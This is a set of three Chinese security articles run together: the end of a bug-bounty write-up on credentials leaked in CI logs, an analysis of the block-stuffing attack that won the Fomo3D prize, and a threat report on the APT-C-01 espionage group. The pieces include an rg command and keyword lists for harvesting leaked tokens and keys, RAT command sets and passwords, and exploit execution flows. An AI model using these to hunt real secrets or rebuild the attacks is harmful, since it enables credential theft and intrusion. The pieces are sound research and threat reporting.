并获得了P1严重性支付 - Bugcrowd上可能的最高严重性分数。[[2]](https://bugcrowd.com/vulnerability-rating-taxonomy)
我们报告调查结果的所有供应商最令人惊讶的回应是Discourse的bug赏金计划。Karim Rahal发现了一个员工的GitHub访问令牌，
该令牌具有对Discourse GitHub组织下所有公共存储库的读写访问权限。为了证明这个问题的潜在影响，我们将一个无害的文件推送到该组织
最不活跃的存储库之一，以免引起太多关注。随后从存储库中[删除了该文件](https://github.com/discourse/errorpages/commit/09dc71dc6e20b192a54d9ede0e3ff2c08aa3e400)。
话语授予卡里姆最低可能的128美元奖金。我们要求进一步确定赏金金额，但我们尚未收到Discourse团队的回复 -这是60天没有回复。[[3]](https://hackerone.com/reports/497669)
另一个关键错误是在HackerOne上的公共加密货币程序中发现的。该程序在Travis CI中使用秘密变量来创建SSH密钥。
此配置的详细信息可在[此处](https://github.com/dwyl/learn-travis/blob/master/encrypted-ssh-keys-deployment.md#5-encrypt-the-private-key)和[此处](https://github.com/dwyl/learn-travis/blob/master/encrypted-ssh-keys-deployment.md#5-encrypt-the-private-key)找到。在挖掘了数千个日志后，Justin
Gardner写道，工具检测到以下行：
> \-----BEGIN RSA PRIVATE KEY-----
开发人员`cat deploy_key`在他们的CI配置文件中添加了在日志中输出SSH密钥的文件。使用SSH密钥，
攻击者可以登录到程序基础结构中并且部署多个服务器。由于漏洞涉及到服务器，因此获得了1000美元的奖励。
### 小技巧
通常，export构建日志中的语句的简单grep 将是一个很好的起点。该export命令用于在日志提示中设置环境变量，因此可以公开敏感信息。
> $ rg -ia "export " -j 12 --no-filename --no-line-number --pretty
当然，不应仅限于使用该export命令设置的变量; 将搜索术语精炼为 “token”, “key”,
“password”和“secret”可以帮助发现特定的泄漏。
为了减少误报的数量，我们建议搜索词中追加"="和":"
我们鼓励读者使用`[secure]`关键字创建所有变量的列表，然后在所有项目中使用这些变量名称进行搜索。这将使用常见的变量命名约定帮助您
查找不安全的敏感数据实例。Karim Rahal收集`[secure]`了5,302,677个构建日志中的变量，其中最常见的50个可以在下面看到。
[完整列表可以在这里找到。](https://gist.githubusercontent.com/EdOverflow/8bd2faad513626c413b8fc6e9d955669/raw/06a0ef0fd83920d513c65767aae258ecf8382bdf/gistfile1.txt)
此外，设置连续监控您最喜欢的bug赏金计划的CI构建，并在每次团队向GitHub推送新提交时运行您的工具，这是在团队在行动之前实时捕获暴露的秘密的好方法。
不要局限于keys 和 tokens; CI平台也是侦察信息的重要来源。通过日志筛选以查找属于目标的隐藏端点和URL。
检查GitHub上的CI配置文件，以确定目标使用的CI集成。可能还有其他CI平台在这篇文章中没有涉及秘密暴露的内容。
我们在grep过程中包含的一个有趣的任务是查找通常与缺失或损坏的依赖项相关联的字符串和错误消息。由于缺少npm包，
这有时可以通过在远程注册表中声明包名来导致代码执行，如<https://hackerone.com/reports/399166>中所示。一些示例错误消息包括：
> 1. “不在npm注册表中。”（[npm](https://www.npmjs.com/)）
> 2. “没有匹配的发行版”（[PyPI](https://pypi.org/)）
> 3. “找不到有效的宝石”（[RubyGems](https://rubygems.org/)）
>
### 结论和进一步的研究
这项研究帮助我们更好地了解了连续整合服务所呈现的大型攻击面 - 几乎隐藏在普通视线中 - 并且当bug赏金时已经证明是非常富有成效的。
由于本研究中包含了相当有限的平台数量，未来的研究和项目可以考虑进一步覆盖CI平台和集成。
我们赞赏Travis CI等平台，允许用户在其日志中隐藏敏感的环境变量。在我们看来，这是朝着正确方向迈出的一步，以防止我们遇到的安全泄漏类型。
这项工作不仅为我们提供了许多成功的bug赏金故事和有效的发现，而且还表明，与此项目一起看到的协作可以在bug赏金狩猎的同时取得很大进展。 | 社区文章 |
**作者：LoRexxar'@知道创宇404区块链安全研究团队
时间：2018年8月23日**
2018年8月22日，以太坊上异常火爆的Fomo3D游戏第一轮正式结束，钱包开始为0xa169的用户最终拿走了这笔约 **10,469 eth**
的奖金，换算成人民币约2200万。
看上去只是一个好运的人买到了那张最大奖的“彩票”，可事实却是，攻击者凭借着对智能合约原理的熟悉，进行了一场精致的“攻击”！
这次攻击的结果，也直接影响了类Fomo3D的所有游戏，而且 **无法修复，无法避免** ，那么为什么会这样呢？
### 类Fomo3D
在分析整个事件之前，我们需要对类Fomo3D游戏的规则有一个基本的认识。
Fomo3D游戏最最核心的规则就是 **最后一个购买的玩家获得最大的利益**
其中主要规则有这么几条：
* 游戏开始有24小时倒计时
* 每位玩家购买，时间就会延长30s
* 越早购买的玩家，能获得更多的分红
* **最后一个购买的玩家获得奖池中48%的eth**
其中还有一些细致的规则：
* 每位玩家购买的是分红权，买的越多，分红权就会越多
* 每次玩家购买花费的eth会充入奖金池，而之前买过的玩家会获得分红
* 随着奖池的变化，key的价格会更高
换而言之，就是越早买的玩家优势越大。
最终，资金池里的 ETH 48%分配给获胜者， 2%分配给社区基金会，剩余的 50%按照四种团队模式进行分配。
游戏规则清楚之后，就很容易明白这个游戏吸引人的地方在哪，只要参与的人数够多，有人存在侥幸心理，就会有源源不断的人投入到游戏中。游戏的核心就在于，庄家要保证游戏规则的权威性，而区块链的可信以及不可篡改性，正是完美的匹配了这种模式。
简单来说，这是一个 **基于区块链可信原则** 而诞生的游戏，也同样是一场巨大的社会实验。
可，问题是怎么发生的呢？让我们一起来回顾一下事件。
### 事件回顾
2018年8月22日，以太坊上异常火爆的Fomo3D游戏第一轮正式结束，钱包开始为0xa169的用户最终拿走了这笔约 **10,469 eth** 的奖金。
看上去好像没什么问题，但事实真的是这样吗
在Fomo3D的规则基础上，用户a169在购买到最后一次key之后，游戏的剩余时间延长到了3分钟，在接下来的3分钟内，没有任何交易诞生。这3分钟时间，总共有12个区块被打包。但没有任何一个Fomo3D交易被打包成功。
除此之外，这部分区块数量也极少，而且伴随着数个合约交易失败的例子
这里涉及到最多的就是合约`0x18e1B664C6a2E88b93C1b71F61Cbf76a726B7801`,该合约在开奖的那段时间连续的失败交易，花费了巨量的手续费。
而且最重要的是，该合约就是上面最后拿到Fomo3D大奖的用户所创建的
在这期间的每个区块中，都有这个合约发起的巨额eth手续费的请求。
攻击用户通过这种方式，阻塞了其他游戏者购买的交易，最后成功拿到了大奖。
那么为什么呢？
### 事件原理
在解释事件发生原理之前，我们需要先了解一下关于区块链底层的知识。
以太坊约14s左右会被挖出一个区块，一个区块中会打包交易，只有被打包的交易才会在链上永不可篡改。
所以 **为了奖励挖出区块的矿工，区块链上的每一笔交易都会消耗gas，这部分钱用于奖励矿工** ，而矿工会 **优先挑选gas消耗比较大的交易进行打包**
以便获得更大的利益，目前，一个区块的gas上限一般为8000000。
而对于每一笔交易来说，交易发起者也可以定义gas limit，如果交易消耗的gas总值超过gas limit，该交易就会失败，而大部分交易，会在
**交易失败时回滚** 。
为了让交易不回滚，攻击者还使用了一个特殊的指令`assert()`，这是一个类似于require的函数，他和require唯一的区别就是，`当条件不满足时，assret会耗光所有的gas`。原理是因为在EVM底层的执行过程中，assret对应一个未定义过的操作符`0xfe`，EVM返回invalid
opcode error，并报错结束。
而攻击者这里所做的事情呢，就是在确定自己是最后一个key的持有者时，发起超大gasprice的交易，如图所示：
当攻击者不断的发起高手续费的交易时，矿工会优先挑选这些高花费的交易打包，这段时间内，其他交易（包括所有以太坊链上发起的交易、Fomo3D的交易）都很难被矿工打包进入。这样一来，
**攻击者就有很高的概率成为最后一个持有key的赢家**
整个攻击流程如下：
1. Fomo3D倒计时剩下3分钟左右
2. 攻击者购买了最后一个key
3. 攻击者通过提前准备的合约发起大量消耗巨量gas的垃圾交易
4. 3分钟内不断判断自己是不是最后一个key持有者
5. 无人购买，成功获得大奖
在支付了大量以太币作为手续费之后，攻击者赢得了价值2200万人民币的最终大奖。
### 总结
自智能合约游戏中以类Fomo3D诞生之后，这类游戏就不断成为人们眼中的焦点，精巧的规则设计和社会原理再加上区块链特性，组成了这个看上去前景无限的游戏。Fomo3D自诞生以来就不断成为人们眼中的焦点，类Fomo3D游戏不断丛生。
随之而来的是，有无数黑客也在盯着这块大蛋糕，除了Fomo3D被盗事件以外， Last
Winner等类Fomo3D也被黑产盯上...短短时间内，攻击者从中获利无数。
而我们仔细回顾事件发生的原因，我们却不难发现，类Fomo3D游戏核心所依赖的 **可信、不可篡改原则**
和区块链本身的特性`矿工利益最优原则`冲突，也就是说， **只要矿工优先打包高手续费的交易，那么交易的顺序就是可控的！** ，那么规则本身就是不可信赖的。
**当你还在寻求棋局中的出路时，却发现棋盘已经不存在了。**
**当Fomo3D游戏失去了自己的安全、公平之后，对于试图从中投机的你，还会相信自己会是最后的赢家吗？**
* * *
**智能合约审计服务**
针对目前主流的以太坊应用，知道创宇提供专业权威的智能合约审计服务，规避因合约安全问题导致的财产损失，为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队： <https://www.scanv.com/lca/index.html>
联系电话：(086) 136 8133 5016(沈经理，工作日:10:00-18:00)
欢迎扫码咨询：
**区块链行业安全解决方案**
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵，给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验，凭借多重防护+云端大数据技术，为区块链应用提供专属安全解决方案。
欢迎扫码咨询：
### REF
[1] Fomo3D
<https://exitscam.me/play>
[2] 获利交易
<https://etherscan.io/tx/0xe08a519c03cb0aed0e04b33104112d65fa1d3a48cd3aeab65f047b2abce9d508>
[3] 攻击合约
<https://etherscan.io/address/0x18e1b664c6a2e88b93c1b71f61cbf76a726b7801>
[4] Fomo3D 千万大奖获得者“特殊攻击技巧”最全揭露
<https://mp.weixin.qq.com/s/MCuGJepXr_f18xrXZsImBQ>
[5] 「首次深度揭秘」Fomo3D，被黑客拿走的2200万
<https://mp.weixin.qq.com/s/s_RCF_EDlptQpm3d7mzApA>
* * * | 社区文章 |
# 毒云藤组织（APT-C-01） - 军政情报刺探者揭露
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.概述
### 主要发现
从2007年开始至今，360追日团队发现毒云藤组织对中国国防、政府、科技、教育以及海事机构等重点单位和部门进行了长达11年的网络间谍活动。该组织主要关注军工、中美关系、两岸关系和海洋相关领域，其关注的领域与我们之前发布的海莲花（OceanLotus）APT组织有一定相似的地方。
360追日团队捕获毒云藤的首个木马出现在2007年12月。在之后的11年中我们先后捕获到了13个版本的恶意代码，涉及样本数量73个。该组织在初始攻击环节主要采用鱼叉式钓鱼邮件攻击，攻击之前对目标进行了深入调研和精心挑选，选用与目标所属行业或领域密切相关的内容构造诱饵文件和邮件，主要是采用相应具体领域相关会议材料、研究成果或通知公告等主题。期间漏洞文档样本数量10个，其中包含1个0day漏洞。这些木马的感染者遍布国内31个省级行政区。C&C域名数量为59个，回传的地址位于4个不同国家或地区。
毒云藤在对中国持续11年的网络间谍活动中，下述相关时间点值得关注：
* 2007年12月，首次发现与该组织相关的木马。涉及海洋相关领域（疑似对某大型船务公司进行相关攻击）
* 2008年3月，对国内某高校重点实验室（某科研机构）
* 2009年2月，开始对军工行业展开攻击（某知名军工类期刊杂志社）
* 2009年10月，木马增加了特殊的对抗静态扫描的手法（API字符串逆序），相关手法沿用到大部分版本的木马中，并持续应用到2018年
* 2011年12月，木马增加了特殊的对抗动态检测的手法（错误API参数），相关手法沿用到大部分版本的木马中，并持续应用到2015年
* 2012年2月，首次发现基于zxshell代码的修改版后门1，其中关键功能是窃取如.doc\\.ppt\\.xls\\.wps类文档文件
* 2013年3月，对中科院，以及若干科技、海事等领域国家部委、局等进行了集中攻击
* 2013年10月，对中国某政府网站进行水坑攻击
* 2014年5月，发现zxshell修改版后门1的进化版本2，其中除了基于修改版1功能，增加了如“军”，“航”，“报告”关键字的搜索
* 2014年9月12日，首次发现与CVE-2014-4114（0day漏洞）相关事件和样本。
* 2014年10月14日，iSIGHT发布相关报告，并指出CVE-2014-4114（0day漏洞）。同日微软发布相关安全公告
* 2015年2月25日，对某军工领域协会组织（国防科技相关）、中国工程院等攻击，同时发现酷盘版样本
* 2017年10月，主要通过CVE-2017-8759漏洞文档对某大型媒体机构网站和泉州某机关相关人员实施鱼叉攻击
* 2018年4月，360威胁情报中心公开披露了该组织利用CVE-2017-8759漏洞文档的攻击恶意代码2
* 2018年5月，针对数家船舶重工企业、港口运营公司等海事行业机构发动攻击
注：
以上首次攻击时间，是基于我们对该组织了解掌握的现有数据进行统计的，不代表我们已经掌握了该组织的全部攻击事件和行为。
### 命名由来
自2015年，国内在APT方向的相关研究逐渐起步并加快。继“海莲花”、“蓝宝菇”等组织曝光之后，毒云藤组织（APT-C-01）是又一个针对政府、军工、海事等领域敏感信息持续发起攻击的APT组织。
该组织是360独立发现的，并率先披露了该组织的部分相关信息（参见：<https://ti.360.net/blog/articles/analysis-of-apt-c-01/>，发布时间：2018年4月），符合360对APT组织就行独立命名的条件。
360威胁情报中心将APT-C-01组织命名为“毒云藤”，主要是考虑了以下几方面的因素：一是该组织在多次攻击行动中，都使用了Poison
Ivy（毒藤）木马；二、该攻击组织在中转信息时，曾使用云盘作为跳板传输资料，这跟爬藤类植物凌空而越过墙体，颇有相似之处。根据360威胁情报中心对APT组织的命名规则（参见《2016年中国高级持续性威胁研究报告》），同时结合该组织关联地区常见的蔓藤植物，将APT-C-01组织命名为“毒云藤”。
另，国内安天实验室于2018年9月19日发布APT攻击组织“绿斑”（Green
Spot）分析报告。根据360威胁情报中心与安天实验室之间达成的能力型厂商成果互认约定，360威胁情报中心发现的“毒云藤”（APT-C-01）对应“绿斑”（Green
Spot），二者是同一组织。因此，我们把监测到的情况与该组织攻击特点也公布出来，共同为中国提升APT防御能力而努力。
## 2.攻击目的和受害分析
### 攻击目的
攻击组织的主要目的是窃取中国政府、科研相关行业领域的资料数据。相关数据主要以文档为主，关心的关键字主要包括以下关键字和扩展名的文件：
关键字：
---
“201”，“2014”，“2015年”，“报”，“报告”，“兵”，“部队”，“对台”，“工作”，“规划”，“国”，“国际”，“航”，“合作”，“机”，“机场”，“基地”，“极地”，“军”，“军事”，“科技”，“密”，“内部”，“十”，“十三”，“台”，“台湾”，“铁路”，“无人”，“项”，“雪”，“研”，“运输”，“战”，“站”，“中”
扩展名：
“doc”，“ppt”，“xls”，“pdf”，“rtf”，“rar”，“wps”，“doc*”，“ppt*”，“xls*”
窃取用户主机相关信息
MAC Info：MAC信息，主要包括IP地址、网关信息等
Host Info：主机信息，主要包括操作系统信息、主机名称、本地用户名等
Process Info：当前进程信息
Version Info：相关版本信息，主要包括Microsoft Office和Microsoft Internet Explorer版本信息
Disk Info：磁盘信息
---
图 1相关窃取用户主机信息截图（示例）
图 2被感染用户月统计（2014年7月-2015年6月）
### 行业分布
主要涉及：国防、政府、科技、教育等
相关领域包括：海洋（南海、东海、测绘）、军工、涉台问题（两岸关系）、中美关系
### 地域分布
图 3中国被感染地区分布图（2014年7月-2015年6月）
图 4中国被感染地区比例图
地区 | 数量
---|---
北京 | 296
福建 | 55
广东 | 43
浙江 | 39
上海 | 32
## 3.持续11年的活动
### 初始攻击
#### 鱼叉式钓鱼邮件攻击
鱼叉式钓鱼邮件攻击是APT中常用的攻击手法，主要在APT的初始攻击环节。简单理解就是利用邮件作为攻击前导，其中正文、附件都可能携带恶意代码，进一步主要以附件携带漏洞文档文件为主，大约90%的攻击都是该类攻击。
本小节主要介绍邮件携带漏洞文档和邮件携带二进制可执行文件这两种攻击方法。
##### 携带漏洞文档
| MD5 | 文件名 | 病毒名
---|---|---|---
邮件附件 | a5d9edaa1b6cf820d54c19b2c6bd246d | 专业技术干部手册.rar |
压缩包内PE | 2fa75fdf4d57c182bc6c0438dd6cbf27 | HandBook.chm |
释放的PE | b04d7fa1c7e3a8274ba81f48f06a5f4e | hh.exe |
Backdoor.Win32.FakeWinupdate
[](https://p1.ssl.qhimg.com/t01dca7f3c2ffc2c9b5.png)
图 5携带漏洞文档案例1邮件截图
图 6携带漏洞文档案例1邮件附件压缩包截图
[](https://p1.ssl.qhimg.com/t012cd6cda27d3d3b33.png)
图 7携带漏洞文档案例1诱饵CHM文档截图
| MD5 | 文件名 | 病毒名
---|---|---|---
邮件附件 | 19365fddc2fca8735d51def001704db3 | 2013中国亚洲太平洋学会年会文件.doc |
virus.exp.20120158
释放的PE | 07561810d818905851ce6ab2c1152871 | update.exe | Backdoor.Win32.ZxShell
[](https://p1.ssl.qhimg.com/t0185ef64bfa09973af.png)
图 8携带漏洞文档案例1邮件截图
| MD5 | 文件名 | 病毒名
---|---|---|---
邮件附件 | 9fb6866c2cdd49387a520f421a04b882
| 中科院2013年研究项目材料.doc | virus.exp.20120158
释放的PE | f3ed0632cadd2d6beffb9d33db4188ed | update.exe |
Backdoor.Win32.PoisonIvy
图 9携带漏洞文档案例2邮件截图
图 10携带漏洞文档案例2漏洞文档（释放后迷惑文档）截图
##### 携带PE二进制可执行程序
| MD5 | 文件名 | 病毒名
---|---|---|---
邮件附件 | 954f50f7ed8b4c11b59560769de0ec36 | 关于推荐第十三届中国青年科技奖候选人的通知.rar |
Dropper.Win32.FakeDoc
压缩包内PE | 8c9670fbe68ab8719077d480242e6b9e | 关于推荐第十三届中国青年科技奖候选人的通知.exe |
Dropper.Win32.FakeDoc
释放的PE | 6a37ce66d3003ebf04d249ab049acb22 | svchoct.exe |
Backdoor.Win32.HttpBot
[](https://p4.ssl.qhimg.com/t014a38a9299bb30017.png)
图 11携带PE二进制可执行程序案例邮件截图
图 12携带PE二进制可执行程序案例邮件附件压缩包截图
图 13携带PE二进制可执行程序案例中木马释放迷惑文档打开后截图
攻击组织在发送钓鱼邮件通常登录web邮件和通过相关工具（PHPMailer）进行攻击邮件的发送。
##### 携带自解压文件
攻击组织通过向目标邮箱发送压缩形态的RAR自解压格式程序。
附件里面是木马文件：
该文件实际是一个RAR自解压格式程序，参数如下，点击这个exe，会直接运行里面的bat文件：
默认的批处理命令会把木马主体移动到temp目录下，然后执行起来，同时删除该批处理文件：
1. RLO伪装文档扩展名
| MD5 | 文件名 | 病毒名
---|---|---|---
邮件附件 | 954f50f7ed8b4c11b59560769de0ec36 |
东海航保通信台站规划补充材料hangbaoexe.doc（真实扩展名cod.exe） | Dropper.Win32.FakeDoc
图 14伪装文档扩展名（RLO）样本截图
1. 伪装图标隐藏扩展名
| MD5 | 文件名 | 病毒名
---|---|---|---
邮件附件 | cbeebf063f914eb3b5eba8b37302189f | “军民融合深度发展战略研究”咨询项目正式启动 .exe |
Dropper.Win32.FakeFolder
图 15伪装图标隐藏扩展名案例1截图
| MD5 | 文件名 | 病毒名
---|---|---|---
邮件附件 | ae004a5d4f1829594d830956c55d6ae4 | 2014-03-18中国系统仿真学会科研项目经费自查xls
_____________________________.exe | Dropper.Win32.FakeXls
图 16伪装图标隐藏扩展名案例2截图
图 17伪装图标隐藏扩展名案例2木马释放的迷惑文档截图
### 漏洞分析
#### CVE-2012-0158漏洞
漏洞编号 | CVE-2012-0158
---|---
说明 | Windows
常用控件中存在一个远程执行代码漏洞。攻击者可通过构建特制网页来利用此漏洞。当用户查看网页时，该漏洞可能允许远程执行代码。成功利用此漏洞的攻击者可以获得与登录用户相同的用户权限。
公布时间 | 2012年4月10日
参考链接 | <https://technet.microsoft.com/zh-cn/library/security/ms12-027.aspx>
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0158>
##### 漏洞文档执行流程
图 18漏洞文档（CVE-2012-0158）执行流程
##### MHT格式
图 19漏洞文档两种形态（上MHT，下RTF）对比图
CVE-2012-0158漏洞主要以
rtf和doc格式为主，但本次攻击都是将doc文件保存为mht格式，导致杀软在漏洞检查时，因前置逻辑不匹配而漏检。相关漏洞文档文件在当时都是较低检出率。
##### shellcode对比
相关对比项 | 共性描述
---|---
shellcode | 第一层shellcode都是异或0xA3用于解密，相关样本均为3层shellcode，并且数据结构一致
Magic值 | 值为：0x22776655，0xCACACACA，0xA02005CA，均一致
释放文件 | 路径一致：
* 正常文档文件：“%USERPROFILE%”，相关文档文件名会有变化，如：“关于对中船钦州大型海工修造及保障基地项目一期工程建设工作责任表的意见（37号）.doc”、“两会重要发布报告.doc”、“123.doc”等
* PE木马文件：“C:\Documents and Settings\All Users\「开始」菜单\程序\启动\update.exe”
清除痕迹 | 解码相关注册表项，并删除。目的是为了清除office的打开失败等记录的历史信息。
相关注册表项：
“Software\Microsoft\Office\12.0\Word\Resiliency\DisabledItems”
“Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems”
“Software\Microsoft\Office\11.0\Word\Resiliency\DocumentRecovery”
“Software\Microsoft\Office\11.0\Word\Resiliency\DisabledItems”
“Software\Microsoft\Office\11.0\Word\Resiliency\StartupItems”
通过我们对漏洞文档的shellcode对比可以发现相关结构和功能都基本一致，进一步我们也能推断相关漏洞文档是同一组织开发。
#### CVE-2014-6352漏洞（0day）
##### 背景介绍
CVE-2014-4114漏洞是iSIGHT公司在2014年10月14日发布相关报告，报告其中提到一个0day漏洞（CVE-2014-4114）用于俄罗斯相关主要针对北约、欧盟、电信和能源相关领域的网络间谍活动。微软也是在10月14日发布相关安全公告。
而CVE-2014-6352是可以认为绕过CVE-2014-4114补丁的漏洞，微软之前的修补方案首先在生成Inf和exe文件后添加MakeFileUnsafe调用，来设置文件Zone信息，这样随后在漏洞执行inf安装时，会有一个安全提示。而CVE-2014-6352漏洞样本抛弃了使用inf来安装exe，转而直接执行exe。因为xp以上系统可执行文件的右键菜单第二项是以管理员权限执行，这样导致如果用户关闭了uac会导致没有任何安全提醒。所以微软6352的补丁是在调用右键菜单添加一个安全提示弹窗。
漏洞编号 | CVE-2014-4114
---|---
说明 | Windows OLE 中存在一个漏洞，如果用户打开包含特制 OLE
对象的文件，则该漏洞可能允许远程执行代码。成功利用此漏洞的攻击者可以获得与登录用户相同的用户权限。如果当前用户使用管理用户权限登录，则攻击者可随后安装程序；查看、更改或删除数据；或者创建拥有完全用户权限的新帐户。那些帐户被配置为拥有较少用户权限的用户比具有管理用户权限的用户受到的影响要小。
公布时间 | 2014年10月14日
参考链接 | <https://technet.microsoft.com/zh-cn/library/security/ms14-060.aspx>
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4114>
漏洞编号 | CVE-2014-6352
---|---
说明 | 在用户下载或接收，然后打开经特殊设计的包含 OLE 对象的 Microsoft Office
文件时，会导致当前用户上下文中的远程执行代码漏洞。Microsoft 最初通过协调漏洞披露渠道了解到有关此漏洞的信息。此漏洞最初在 Microsoft
安全通报 3010060 中进行了说明。Microsoft 获悉尝试使用此漏洞的有限攻击。此更新通过修改在访问 OLE
对象时受影响的操作系统验证内存使用的方式来解决这些漏洞。
公布时间 | 2014年10月21日
参考链接 | <https://technet.microsoft.com/zh-cn/library/security/3010060.aspx>
<https://technet.microsoft.com/zh-cn/library/security/ms14-064.aspx>
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6352>
##### 本次行动中相关介绍
MD5 | 文件名 | 病毒名
---|---|---
da807804fa5f53f7cbcaac82b901689c
| 指挥控制专委会评审责任书.ppsx | virus.exp.20146352
19f967e27e21802fe92bc9705ae0a770 | 南海课题项目建议书.ppsx | virus.exp.20146352
图 20漏洞文档（CVE-2014-6352）属性相关信息
图 21 CVE-2014-6352相关关键时间节点
本次行动中的样本没有使用inf来做跳板，而是直接使用exe，CVE-2014-4114漏洞触发后，默认调用的是右键菜单第二项，Windows7下正常是使用管理员权限打开，如果第二项是其他选项，则会将病毒路径作为参数传递，这也会产生部分兼容性问题。执行效果具体如下图所示：
图 22漏洞执行效果示意图
漏洞文档版本升级
图 23沙虫漏洞文档样本（版本A）相关截图
图 24沙虫漏洞文档样本（版本B）相关截图
图 25毒云藤漏洞文档样本（版本C）相关截图
版本 | 时间 | 厂商 | 描述
---|---|---|---
版本A | 2014年10月14日
（报告发布时间）
| iSIGHT | UNC下载PE木马，利用inf安装启动PE木马
版本B | 2014年10月16日
（捕获样本时间）
| Xecure lab | 利用inf执行嵌入“.ppsx”文档内的PE木马
版本C | 2014年9月12日
（捕获样本时间）
| 360 | 没有利用inf，直接执行嵌入“.ppsx”文档内的PE木马
#### CVE-2017-8759漏洞
##### A.背景介绍
CVE-2017-8759漏洞是FireEye公司在2017年9月12日披露的一个0Day漏洞（CVE-2017-8759）。微软也在9月12日发布了相关的安全公告。
漏洞编号 | CVE-2017-8759
---|---
说明 | CVE-2017-8759是SOAP WSDL分析器代码注入漏洞，在解析SOAP
WSDL定义的内容中它允许攻击者注入任意代码，影响所有.net环境。
公布时间 | 2017年9月12日
参考链接 | <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8759>
##### B.本次行动中相关介绍
MD5 | 文件名 | 病毒名
---|---|---
5d0b4cadfb149695d9fbc71dd1b36bef | 2017两岸关系新进展与问题(内部).rtf | virus.exp.20178759
Rtf文档中通过objautlink和objupdate控制字段自动更新链接，漏洞触发后导致mshta.exe执行远程指定的HTA文件。
HTA文件为一个嵌入了恶意VBS的html页面，该VBS调用POWERSHELL下载后续exe loader。
### 持续渗透
#### RAT演进
RAT (Remote Access Trojan)：远程访问木马，俗称远控。
图 26相关RAT演进时间轴
RAT | 最早 | 最晚
---|---|---
ZxShell | 2007/12/26 | 2014/10/14
Poison Ivy | 2011/12/27 | 2014/9/10
kbox | 2015/2/11 | 2015/5/4
puppet | 2008/12/22 | 2009/2/12
httpbot | 2013/7/23 | 2013/10/2
gh0st | 2009/1/13 | 2013/4/21
AresRemote | 2009/5/5 | 2009/5/5
shellcode | 2011/7/13 | 2015/5/5
XRAT | 2013/11/6 | 2013/11/6
FakeRising | 2009/5/15 | 2009/5/15
FakeWinupdate | 2009/10/21 | 2009/10/21
SBlog2014 | |
SBlog2015 | |
相关后门程序总共涉及11个版本。相关比例数量如下：
图 27 11个版本RAT分布比例
RAT | 数量
---|---
ZxShell | 23
Poison Ivy | 17
kbox | 15
puppet | 4
httpbot | 4
gh0st | 4
FakeRising | 2
AresRemote | 1
shellcode | 1
XRAT | 1
FakeWinupdate | 1
#### RAT 13个版本分析
图 28 RAT相关版本分类
##### Poison Ivy
Poison Ivy木马本质上一款远程控制木马程序（RAT）。其中FireEye对Poison Ivy专门进行了一次研究分析。
本次报告中出现的Poison Ivy木马对应的生成器版本均为2.3.2，Poison
Ivy木马生成器从1.0.0版本开始总共10个版本，最新版本为2.3.2。Poison
Ivy木马生成器可以生成EXE和shellcode两种版本，在本次行动中生成的木马均为shellcode形态。进一步相关互斥体绝大部分均为默认：“)!VoqA.I4”。
图 29 Posion Ivy生成器相关配置界面截图
图 30外层和内层PI关系
另外Poison Ivy木马均由外层母体依次异或key1和key2来得到shellcode。
图 31 Poison Ivy木马（三个）相关异或解密对比图
下表是相关Poison Ivy木马配置信息（ID和对应密码）列表。
MD5 | ID | 密码
---|---|---
d61c583eba31f2670ae688af070c87fc | 14 | 926
26d7f7aa3135e99581119f40986a8ac3 | 14 | 8613
5ee2958b130f9cda8f5f3fc1dc5249cf | 4 | #My43@92
7639ed0f0c0f5ac48ec9a548a82e2f50 | 1013 | @1234@
250c9ec3e77d1c6d999ce782c69fc21b | avex | admin
f3ed0632cadd2d6beffb9d33db4188ed | w6U900 | admin
9b925250786571058dae5a7cbea71d28 | zhan | ftp1234
ae004a5d4f1829594d830956c55d6ae4 | zhan2 | ftp1234
fccb13c00df25d074a78f1eeeb04a0e7 | zhan2 | ftp1234
a73d3f749e42e2b614f89c4b3ce97fe1 | 009-4 | ftp443
785b24a55dd41c94060efe8b39dc6d4c | 120707 | hook32wins
36c23c569205d6586984a2f6f8c3a39e | 90518 | kkbox55
81e1332d15b29e8a19d0e97459d0a1de | 90518 | kkbox55
7c498b7ad4c12c38b1f4eb12044a9def | motices | ps135790
ca663597299b1cecaf57c14c6579b23b | 010-4 | ps1478
76782ecf9684595dbf86e5e37ba95cc8 | 13099 | updatewin
c31549489bf0478ab4c367c563916ada | 0314–Good | updatewin
##### ZxShell
ZxShell从2007年12月开始一直到2014年10月一直被毒云藤组织持续使用。由于相关版本差别较大，区分为内部公开版和源码公开版，第一个版指从2007年开始到2012年之前出现过的该组织使用的ZxShell木马，第二个版指从2012年开始到2014年出现过的该组织使用的相关ZxShell木马，相关木马是基于源码公开版进行开发，即我们称之为二次开发版。
内部公开版和源码公开版均为3.0版本，前者无大范围公开，其中功能较丰富，后者相关源码传播较为广泛，其中功能较之前版本剔除部分。
关于ZxShell的研究可以参看思科的Threat Spotlight: Group 72, Opening the ZxShell报告。
| 内部公开版 | 源码公开版 | 二次开发版
---|---|---|---
CleanEvent | √ | √ | √
End | √ | √ | √
Execute | √ | √ | √
Help / ? | √ | √ | √
LoadDll | √ | √ | √
Ps | √ | √ | √
SC | √ | √ | √
ShareShell | √ | √ | √
SysInfo | √ | √ | √
TermSvc | √ | √ | √
TransFile | √ | √ | √
ZXNC | √ | √ | √
zxplug | √ | √ | √
CA | √ | √ | ×
CloseFW | √ | √ | ×
FileTime | √ | √ | ×
PortScan | √ | √ | ×
RunAs | √ | √ | ×
Shutdown | √ | √ | ×
Uninstall | √ | √ | ×
User | √ | √ | ×
ZXHttpProxy | √ | √ | ×
ZXHttpServer | √ | √ | ×
ZXSockProxy | √ | √ | ×
capsrv | √ | × | ×
Exit / Quit | √ | × | ×
FileMG | √ | × | ×
FindDialPass | √ | × | ×
FindPass | √ | × | ×
GetCMD | √ | × | ×
KeyLog | √ | × | ×
rPortMap | √ | × | ×
SYNFlood | √ | × | ×
winvnc | √ | × | ×
ZXARPS | √ | × | ×
总共指令数量 | 35 | 24 | 13
从上表可以看出基于相关版本的木马，对应版本自带指令数量不断减少，也就是毒云藤组织剔除了较多已有的功能，在二次开发版中只保留了13个指令，进一步增量了其他指令和功能。二次开发版中相关新增功能如下表所示：
二次开发版与源码公开版对比
